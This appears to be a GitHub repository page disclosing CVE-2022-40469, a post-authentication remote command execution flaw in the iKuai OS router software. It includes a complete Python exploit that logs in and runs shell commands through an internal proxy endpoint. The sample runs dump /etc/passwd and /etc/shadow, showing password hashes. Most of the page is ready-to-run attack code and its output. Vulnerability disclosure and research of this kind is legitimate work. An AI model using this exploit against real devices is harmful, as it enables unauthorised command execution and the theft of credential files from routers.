yikesoftware update ... on Oct 9 History

..

img	2 months ago
README.md	2 months ago
exp.py	2 months ago

README.md

iKuai OS (post-auth) RCE

desc

A post-authentication arbitrary command execution vulnerability exists in the iKuaiOS soft routing system, which allows an attacker to execute arbitrary shell commands via network requests. Since the product does not open the system shell, the command execution could lead to source code disclosure and further infiltration attacks.

version

Before 3.6.8

cve id

CVE-2022-40469

poc

```
python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'uname -a'
```

exp.py | index.lua | ikrest.lua | webman.lua

```python
'''
Description: ikuai8_3.6.x RCE vulnerability after login.
Author: eqqie
Other: Bypass IKSH to execute arbitrary BASH commands.
'''

import requests
import base64
import hashlib
import json
import sys

host = "192.168.10.1"
username = "admin"
password = "qwe123!@#"
command = "cat /etc/passwd"

login_form = {"username": "", "passwd": "",
              "pass": "", "remember_password": "true"}


def main(host, user, passwd, cmd):
    login_form["username"] = user
    login_form["passwd"] = hashlib.md5(passwd.encode()).hexdigest()
    login_form["pass"] = base64.b64encode(
        b"salt_11"+password.encode()).decode()
    session = requests.Session()
    print(f"[*] Login with '{user}:{passwd}'\n")
    res = session.post(
        url=f"http://{host}/Action/login",
        data=json.dumps(login_form),
        timeout=(3, 3)
    )
    if res.json()["Result"] != 10000:
        raise ValueError("Login fail!")
    print("[*] Run command:", cmd, "\n")
    res = session.post(
        url=f"http://{host}/Action/proxy?http://127.0.0.1:34567/command/file",
        data=cmd,
        timeout=(3, 3)
    )
    print("[*] Exec result:\n")
    print(res.text)


if __name__ == "__main__":
    if len(sys.argv) != 5:
        main(host, username, password, command)
    else:
        main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
```

```
➜  ssrf_rce cat ~/.zsh_history| grep 192.168.10.1
➜  ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'cat /etc/passwd'
[*] Login with 'admin:qwe123!@#'

[*] Run command: cat /etc/passwd

[*] Exec result:

root:x:0:0:root:/root:/etc/setup/rc
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
sshd:x:0:0:sshd:/root:/etc/setup/rc

➜  ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'cat /etc/shadow'
[*] Login with 'admin:qwe123!@#'

[*] Run command: cat /etc/shadow

[*] Exec result:

root:$1$9.EU8ItY$z4EfK4vQ.tIaWfa8OR6HS1:17857:0:99999:7:::
sshd:$1$h5BPm6SH$YNKf.J4KbCtLXL/0xYSnt/:19243:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

➜  ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'uname -a'
[*] Login with 'admin:qwe123!@#'

[*] Run command: uname -a

[*] Exec result:

Linux iKuai 5.10.137 #0 SMP Mon Dec 13 10:43:05 2021 x86_64 GNU/Linux

➜  ssrf_rce
```